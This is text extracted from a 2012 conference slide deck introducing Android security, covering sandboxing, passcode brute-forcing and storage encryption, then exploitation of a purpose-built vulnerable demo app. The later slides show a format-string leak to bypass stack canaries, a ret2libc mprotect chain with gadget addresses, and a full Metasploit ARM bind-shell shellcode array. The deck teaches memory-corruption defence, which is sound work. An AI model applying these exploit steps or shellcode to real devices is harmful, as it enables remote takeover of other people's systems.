Sie sind auf Seite 1von 62

@

Android Security
An Introduction Antonio Barresi
Software Engineer

Pter Somogyvri
Software Engineer 13th October 2012

About us
Antonio Barresi Software Engineer Pter Somogyvri Software Engineer

AdNovum Hungary Budapest Zurich (HQ), Bern, Singapore

Outline
1.! Android Security Basics
1.! Smartphones, Mobile Security & Android 2.! The Android Platform 3.! Android Device & Data Security

2.! Android Software Security


1.! Exploitation of Memory Corruption Vulnerabilities 2.! Demo 3.! Conclusion

Smartphones, Android & Mobile Security

Mobile Security

Base Station

WiFi

Thief

BlueTooth, NFC

Physical Threats

M alware
App Markets

Data on Smartphones
! ! ! ! ! ! ! ! Emails/SMS Contacts Pictures GPS data Google searches & Web history Documents Account information & Passwords Banking data (not persistent)

Basically everything that was on your desktop a couple of years ago.


6

The Android Platform

Android Architecture

What is an App?
.apk Android Package Name of the package Describes components of the App Required permissions Minimum level of API Dalvik Bytecode (all classes in one file) MANIFEST.MF: Hashes of all files. CERT.SF: Hash of MANIFEST.MF and hashes of all the entries in MANIFEST.MF. CERT.RSA: Signature of CERT.SF file including the signer's certificate (public key) itself.
9

AndroidManifest.xml res/* classes.dex META-INF/MANIFEST.MF META-INF/CERT.SF META-INF/CERT.RSA App Resources

App Installation
! .apk Packages are self signed!
! Its not about the trustworthiness of the developer!

! The signature is just checked at installation time


! Files may be manipulated after that!

! At installation every App gets an own Linux User assigned


! E.g. app_50

! Every App gets a directory within the filesystem


! E.g. /data/data/com.example.AwesomeApp

10

Where does an App run?


! Every App runs within its own Linux Process
! And as its own Linux user!

! Within the process a Dalvik VM instance is running ! Most Apps are just Java based
! Or they are Web-based running within WebKit

! Native code can also be used for specific use-cases


! Over JNI or completely native

11

Android Apps and Processes


zygote DalvikVM dex libs uid=0(root) gid=0(root)
com.example.App1 com.example.App2

DalvikVM fork() dex libs


uid=10040(app_40) gid=10040(app_40)

DalvikVM dex libs


uid=10041(app_41) gid=10041(app_41)

Kernel

12

Android Permissions
! Defined within AndroidManifest.xml

! Different Protection Levels (predefined)


! normal, dangerous, signature, signatureOrSystem

13

Android Permissions
! Require permissions to interact with App

! Permission required to pass an Intent e.g. to startActivity()


! Intents send through ActivityManagerService

! System Content Providers are normal Apps e.g. com.android.providers.contacts


! Permissions required to read/write content providers can be defined ! Content Providers are invoked by ContentResolver.query()

14

Android Sandbox
! Sandboxing is implemented by the Android Permission Model and Linux User separation
! Processes are separated by different UIDs ! Filesystem Access is authorized by File Permissions ! Android API calls are authorized according to the Android permissions e.g. access to Contacts, SMS, Location... ! Network, SD Card or Bluetooth access is authorized by Linux Group Membership
15

Android Sandbox Example: Network Access


/system/etc/permissions/platform.xml <permission name="android.permission.INTERNET" > <group gid="inet" /> </permission> net/ipv4/af_inet.c static int inet_create(struct net *net, struct socket *sock, int protocol) { ... if (!current_has_network()) return EACCES; ... }

16

Android Device & Data Security

17

http://xkcd.com/538/
18

Device protection
! Screen lock with PIN, passcode, pattern or face recognition

! Bootloader is locked by default (in most cases) ! Can not run adb as root on a physical device by default (in most cases)

https://android.googlesource.com/platform/frameworks/base/+/master/policy/src/com/android/internal/policy/impl/LockScreen.java

19

Passcode Protection

HTTP://GREPCODE.COM/FILE/REPOSITORY.GREPCODE.COM/JAVA/EXT/COM.GOOGLE.ANDROID/ANDROID/4.1.1_R1/ COM/ANDROID/INTERNAL/WIDGET/LOCKPATTERNUTILS.JAVA#LOCKPATTERNUTILS.PASSWORDTOHASH %28JAVA.LANG.STRING%29

20

Passcode Protection
! Hashed Passcode/PIN is stored in: /data/system/password.key

! Salt stored in /data/data/com.android.providers.settings/ databases/settings.db


! From 4.1.* on: /data/system/locksettings.db

21

Brute-Force Passcode
! Get the hash and the salt
! Brute-Force it!

!! Get also /data/system/device_policies.xml


! <active-password quality="131072" length="4" uppercase="0" lowercase="0" letters="0" numeric="4" symbols="0" nonletter="4" /> !

22

Brute-Force Passcode
Length in chars Crack time 4 ~1m 5 ~1,5h 6 ~3,5d 7 ~219d 8 ~37y 9 ~2306y

! Results by a mobile i7 2630QM ! Single threaded code ! 6,7,8,9 are estimated by 4 and 5 ! Use GT 525M and some CUDA magic? ! What about Rainbow Tables?

23

Boot Process

Power on boot ROM code execution

Load the Bootloader

Load the Linux Kernel

Init Process

Launch Zygote and Dalvik

Initialize System Server

Depends on the device.

24

Rooting
! By default there is no way to execute apps as root ! Rooting: find a way to run apps/processes as root!
! E.g. install a su binary

! If you want to do it safely, do not do it!


! An unlocked bootloader is risky!

25

Storage Encryption
! Available since version 3.0 HoneyComb
! Uses dm-crypt which is provided by the Linux kernel

! Symmetric key derived from the PIN/passcode (PBKDF2)


! Has to be typed in at boot time

! Key stored on the storage ! Attack: dump the entire storage and bruteforce offline!

26

Attack Paths
Physical Access
By Software

ADB enabled?

Bootloader unlocked?

Hardware techniques?

Malicious App with too much permissions

Malicous App elevating privileges

Exploited Vulnerable App e.g. Browser

Install App with all permissions and extract data!

Dump with recovery image.

Dump with Hardware technique.

Is storage encrypted?

Brute-Force encryption key offline!

27

Conclusion
! Passcode should be used
! As complex as possible, as usual ;) ! But it does not offer full protection!

! Physical acquisition is a serious threat ! Lack of hardware supported encryption


! Hardware module with hardware key would be better!

! Debug mode is evil!

28

Android Software Security

29

Software Security

30

Software Security Memory Corruption


! Corrupt the memory of a Vulnerable Process
! to manipulate interesting data ! to take over control flow

! Can be potentially exploited by an attacker to run arbitrary code in the context of the process e.g. remotely ! The Morris Worm exploited a Memory Corruption Vulnerability in 1988 (one of the first Internet Worms)

31

Software Security Exploit Mitigation


Stack Protection -fstackprotector Android 1.5+ Android 2.3+ Android 4.0+ Android 4.1+ ! ! ! ! Nonexecutable stack + heap ! ! !

ASLR* (partial) (!) ! !

Full ASLR* !

*ASLR: Address Space Layout Randomization

And some additional protections, see Android Security Overview for more details.
Android Security Overview: http://source.android.com/tech/security/
32

A VulnerableNativeApp

33

A VulnerableNativeApp In Action

Gangnam style!

TCP port 7100


Hi! Give me some data! >

Gangnam style!

34

VulnerableNativeApp Vulnerabilities

recvBuff is just 512 bytes read() will read up to 1024 bytes

Stack Based Buffer Overflow

buf is user controlled

Format String Vulnerability

35

Stack Based Buffer Overflows


Process Stack in Memory before Overflow
0xFFFFFFFF

Process Stack in Memory after Overflow


caller stack

RETURN_ADDRESS LOCAL_POINTER
grows towards lower addresses

memcpy(localBuf, userControlledBuf, bigSize);

OVERFLOWED RET_ADDR

OVERFLOWED LOC_PTR

LOCAL_VARIABLE

local function stack

OVERFLOWED LOC_VAR

LOCAL_BUFFER

LOCAL_BUFFER filled up with data

overwrite return address to alter control flow at function return

LOCAL_VARIABLE

local buffer gets overflowed with user supplied data

LOCAL_VARIABLE

0x00000000
36

Format String Vulnerabilities


printf ("The Answer to the Ultimate Question of Life is: %d\n", 42); output> The Answer to the Ultimate Question of Life is: 42 printf ("The Answer to the Ultimate Question of Life is: %d\n"); output> The Answer to the Ultimate Question of Life is: 1785430744 output> The Answer to the Ultimate Question of Life is: 1664049880

! printf will just assume an argument was passed!


! E.g. with %d printf will just take the next argument on the stack and print it

! Other interesting format placeholder are:


! %<nr>$d takes the <nr>-th argument and prints it ! %n writes the number of printed bytes so far to an address passed as argument
37

VulnerableNativeApp Vulnerabilities

We can overflow recvBuff and corrupt everything above it!

Use it to hijack control flow! buf is under user control and we can therefore use our own format string!

Use it to inspect memory values!

38

ARM Machine Language


! ARM is a 32-bit RISC Instruction Set Architecture ! 16 32-bit visible registers: r0 r15
! r13 = sp Stack Pointer: points to the stack :) ! r14 = lr Link Register: holds the return address at function calls ! r15 = pc Program Counter: points to the next instruction The pc can be accessed as every other register! cspr = Current Program Status Register

39

ARM Machine Language


! Call Convention
! Pass arguments within R0-R3, use the stack for more arguments

! Instruction Sets
! ARM, Thumb and Jazelle Instruction Set ! ARM uses 32 bit opcodes, Thumb 16 bit opcodes ! Execute Thumb instructions by a branch to <address>+1
push movs {r4, lr} r0, #4 bl add 0x80b01b88 r3, sp, #36

ldr str

r3, [pc, #60] r3, [sp, #8]

40

Android 2.3.4 Samsung Galaxy Mini


! We wanted a real production device with 2.3.* ! Almost 56% of all Androids run 2.3.* ! The Samsung Galaxy Mini customized by the carrier had USB debugging enabled by default!?

41

VulnerableNativeApp Vulnerabilities

recvBuff is just 512 bytes read() will read up to 1024 bytes

Stack Based Buffer Overflow

buf is user controlled

Format String Vulnerability

42

The Plan
Process Stack of readFromSocket before Overflow
init_server() stack
LR (RET_ADDRESS) R4 n=0 read(fd, recvBuff, 1024);
ADDRESS OF SHELLCODE

Process Stack of readFromSocket after Overflow

OVERFLOWED R4 OVERFLOWED n

readFromSocket function stack


recvBuff[512]

recvBuff[512] containing our SHELLCODE

point the return address to our shellcode on the stack

Function enter:
0x80b01b88 <+0>: 0x80b01b8a <+2>: 0x80b01b8c <+4>: push ldr add {r4, lr} r4, [pc, #120] sp, r4

Function leave:
0x80b01bfe <+118>: 0x80b01c00 <+120>: 0x80b01c02 <+122>: lsls add pop r3, r3, #2 sp, r3 {r4, pc}

43

Stack Protection
Process Stack of readFromSocket before Overflow Process Stack of readFromSocket after Overflow

LR (RET_ADDRESS) R4 RANDOM GUARD n=0 read(fd, recvBuff, 1024);

ADDRESS OF SHELLCODE

OVERFLOWED R4
OVERFLOWED GUARD

OVERFLOWED n

readFromSocket function stack


recvBuff[512]

recvBuff[512] containing our SHELLCODE

0x80b01bf4 0x80b01bf6 0x80b01bf8 0x80b01bfc 0x80b01bfe 0x80b01c00 0x80b01c02

<+108>: <+110>: <+112>: <+116>: <+118>: <+120>: <+122>:

cmp beq.n blx movs lsls add pop

r2, r3 0x80b01bfc <readFromSocket+116> 0x80b01974 r3, #132 ; 0x84 r3, r3, #2 sp, r3 {r4, pc}

If random guard != guard on stack Exit process!

44

Stack Protection

logcat:! ...! I/VulnerableNativeApp( 630): VulnerableNativeApp: input read: AAAAAAAAAA! F//system/bin/app_process( 630): stack corruption detected: aborted! I/ActivityManager( 162): Process com.example.VulnerableNativeApp (pid 630) has died.! ...!

45

Bypassing Stack Protection


Process Stack of readFromSocket before Overflow

RANDOM GUARD

old readFromSocket() Stack is above echo()s stack

Use format string vulnerability in echo() to read RANDOM GUARD!

echo stack()

sprintf(sendbuf, "%2$x %262$x %x")

46da1ab4 a445cf2 3e202161


points somewhere to the stack! our random guard!

46

Bypassing Stack Protection


! We can read the RANDOM GUARD of readFromSocket()
! Exploit echo()s format string vulnerability first before exploiting the stack based buffer overflow in readFromSocket()

! We have even found an address that points to the stack!


! This address will have a fixed distance to our recvBuff and we can use it as our shellcode address!
! shellcodeAddr = leakedAddr - <some fixed value>; /* 1584 */

47

Bypassing Stack Protection


Process Stack of readFromSocket before Overflow Process Stack of readFromSocket after Overflow

LR (RET_ADDRESS) R4 RANDOM GUARD n=0 read(fd, recvBuff, 1024);

ADDRESS OF SHELLCODE

OVERFLOWED R4 RANDOM GUARD OVERFLOWED n

readFromSocket function stack


recvBuff[512]

recvBuff[512] containing our SHELLCODE

0x80b01c02 <+122>:

pop

{r4, pc}

48

Non-Executable Stack
Process Stack of readFromSocket before Overflow Process Stack of readFromSocket after Overflow

LR (RET_ADDRESS) R4 RANDOM GUARD n=0 read(fd, recvBuff, 1024);

ADDRESS OF SHELLCODE

OVERFLOWED R4 RANDOM GUARD OVERFLOWED n

readFromSocket function stack


recvBuff[512]

recvBuff[512] containing our SHELLCODE

0x46da1478 cat /proc/860/maps ! 46ca3000-46da2000 rw-p 00000000 00:00 0 !

stack is nonexecutable!

NX bit, hardware enforced!


49

Bypassing Non-Executable Stack


! We can control PC and therefore decide what to execute! ! Although the stack is non-executable we have plenty of other already mapped executable code!
cat /proc/860/maps afb00000-afb20000 r-xp afb20000-afb21000 rw-p afc00000-afc01000 r-xp afc01000-afc02000 rw-p afd00000-afd40000 r-xp afd40000-afd43000 rw-p afd43000-afd4e000 rw-p b0001000-b0009000 r-xp b0009000-b000a000 rw-p b000a000-b0017000 rw-p bec2f000-bec50000 rw-p $

00000000 00020000 00000000 00001000 00000000 00040000 00000000 00001000 00009000 00000000 00000000

8a:0c 8a:0c 8a:0c 8a:0c 8a:0c 8a:0c 00:00 8a:0c 8a:0c 00:00 00:00

833772 833772 472550 472550 100168 100168 0 5952600 5952600 0 0

/system/lib/libm.so /system/lib/libm.so /system/lib/libstdc++.so /system/lib/libstdc++.so /system/lib/libc.so /system/lib/libc.so /system/bin/linker /system/bin/linker [stack]

50

Bypassing Non-Executable Stack ret2libc


! What about calling:
! mprotect (stackAddr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC);

! mprotect is a system call and there is no restriction in the Android Linux Kernel for mprotect so far! ! Our new plan: lets call mprotect within libc to make the stack executable and lets then execute our shellcode!

51

Bypassing Non-Executable Stack ret2libc


! We can control where readFromSocket() should return ! Make it return to mprotect ! int mprotect (const void *addr, size_t len, int prot);
! r0 = aligned addr of stack ! r1 = 1024 ! r2 = 7 (PROT_READ | PROT_WRITE | PROT_EXEC)
Dump of assembler code for function mprotect: 0xafd0b660 <+0>: push {r4, r7} 0xafd0b664 <+4>: mov r7, #125 ; 0x7d 0xafd0b668 <+8>: svc 0x00000000 0xafd0b66c <+12>: pop {r4, r7} 0xafd0b670 <+16>: movs r0, r0 0xafd0b674 <+20>: bxpl lr
52

Bypassing Non-Executable Stack ret2libc


! mprotect will return to LR: bxpl lr ! After mprotect made the stack executable just return to the stack and execute our shellcode! ! We therefore need to set: ! r0, r1, r2: as mprotect parameters ! pc: address of mprotect to call it ! lr: address of our shellcode so mprotect returns to it

53

Bypassing Non-Executable Stack ret2libc


! Find a suitable instruction that does all this for us! ! Dump the process memory or disassemble the libraries
! 0xad36d698: ldmibvc sp, {r0,r1,r2,r6,sp,lr,pc} ! ldm: load multiple ! ib: increment before ! vc: only if overflow bit not set in CSPR

54

Bypassing Non-Executable Stack ret2libc


pc = address of mprotect lr = address of shellcode

sp = new stack pointer R6 = some value R2 = 7 (rwx) R1 = 1024 R0 = addr of stack some value ADDRESS ldmibvc -> pc

RANDOM GUARD Address of SHELLCODE Address of mprotect Address of ldmibvc instruction

leaked by format string vuln leaked too predictable as no ASLR predictable as no ASLR

0x80b01c02: pop 0xafd0b660: 0xafd0b664: 0xafd0b668: 0xafd0b66c: 0xafd0b670: 0xafd0b674:


after mprotect() our stack will be executable!

{r4, pc} {r4, r7} r7, #125 0x00000000 {r4, r7} r0, r0 lr

readFromSocket return instruction

0xad36d698: ldmibvc sp,{r0,r1,r2,r6,sp,lr,pc} push mov svc pop movs bxpl

OVERFLOWED R4 RANDOM GUARD OVERFLOWED n

mprotect (r0,r1,r2)

recvBuff[512] containing our SHELLCODE

0x46da1478: OUR EXECUTABLE SHELLCODE! 46ca3000-46da2000 rwxp 00000000 00:00 0


55

Bypassing Non-Executable Stack ret2libc


pc = address of mprotect lr = address of shellcode

sp = new stack pointer R6 = some value R2 = 7 (rwx) R1 = 1024 R0 = addr of stack some value ADDRESS ldmibvc -> pc

After the mprotect syscall our stack will be executable!


46ca3000-46da2000 rwxp 00000000 00:00 0

OVERFLOWED R4 RANDOM GUARD OVERFLOWED n

And mprotect() will return to our shellcode too! What a nice function! :)

recvBuff[512] containing our SHELLCODE

56

The Shellcode
! We did not talk about shellcodes ! Just use msfpayload ! linux/armle/shell_bind_tcp ! Or write your own ARM assembly with arm-linux-gnueabi-as
$ msfpayload linux/armle/shell_bind_tcp C /* * linux/armle/shell_bind_tcp - 232 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependChrootBreak=false, AppendExit=false, * InitialAutoRunScript=, AutoRunScript=, SHELL=/system/bin/sh, * SHELLARG=-C */ unsigned char buf[] = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x01\x70\xa0" "\xe3\x07\x74\xa0\xe1\x19\x70\x87\xe2\x00\x00\x00\xef\x00\x60" "\xa0\xe1\xa4\x10\x8f\xe2\x10\x20\xa0\xe3\x01\x70\xa0\xe3\x07" "\x74\xa0\xe1\x1a\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1" "\x01\x70\xa0\xe3\x07\x74\xa0\xe1\x1c\x70\x87\xe2\x00\x00\x00" "\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x01\x70" "\xa0\xe3\x07\x74\xa0\xe1\x1d\x70\x87\xe2\x00\x00\x00\xef\x00" "\x60\xa0\xe1\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3" "\x00\x00\x00\xef\x01\x10\x51\xe2\xfa\xff\xff\x5a\x48\x00\x8f" "\xe2\x04\x40\x24\xe0\x10\x00\x2d\xe9\x0d\x20\xa0\xe1\x04\x00" "\x2d\xe9\x0d\x20\xa0\xe1\x10\x00\x2d\xe9\x48\x10\x9f\xe5\x02" "\x00\x2d\xe9\x00\x20\x2d\xe9\x0d\x10\xa0\xe1\x04\x00\x2d\xe9" "\x0d\x20\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0" "\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x02\x00\x11\x5c\x00\x00" "\x00\x00\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f\x73" "\x68\x00\x00\x2d\x43\x00\x00"; $

57

Its demo time!

58

ASLR compared
RUNS stack rw-p
beeb7000

thread stack rw-p


46da1478 46da1478 5b695478 5b31d478 5d282478 5d566478

libc r-xp
afd00000 afd00000 40087000 400ac000 4005e000 4009d000

linker r-xp
b0001000 b0001000 b0001000 b0001000 400fc000 4012a000

app_process r-xp
00008000 00008000 00008000 00008000 4005a000 4005e000

1st Android 2.3.4

2nd Android 2.3.4 becb9000 1st Android 4.0.4


be805000

2nd Android 4.0.4 be8d2000 1st Android 4.1.1


bea64000

2nd Android 4.1.1 bef09000

59

Look for addresses pointing to libc


Stack of echo()

some pointer to libc

?
RANDOM GUARD is leaked through the format string vulnerability What about some pointer to libc?

RANDOM GUARD

echo stack()

sprintf(sendbuf, "%2$x %44$x %262$x %x") 46da1ab4 xxxxxxxx a445cf2 3e202161


points somewhere to the stack! A value pointing to libc! our random guard!

60

Software Security Conclusion


! Exploiting Memory Corruption Vulnerabilities got much harder with Android 4.1.* ! Partial ASLR is not effective, what a surprise ;) ! Remember: our example was easy to exploit, vulnerabilities in the wild are not that easy! ! What if you have no hints about the memory layout?
! How would you bypass stack protection? ! Where would you return?

61

Thank you!
Questions?

62

Das könnte Ihnen auch gefallen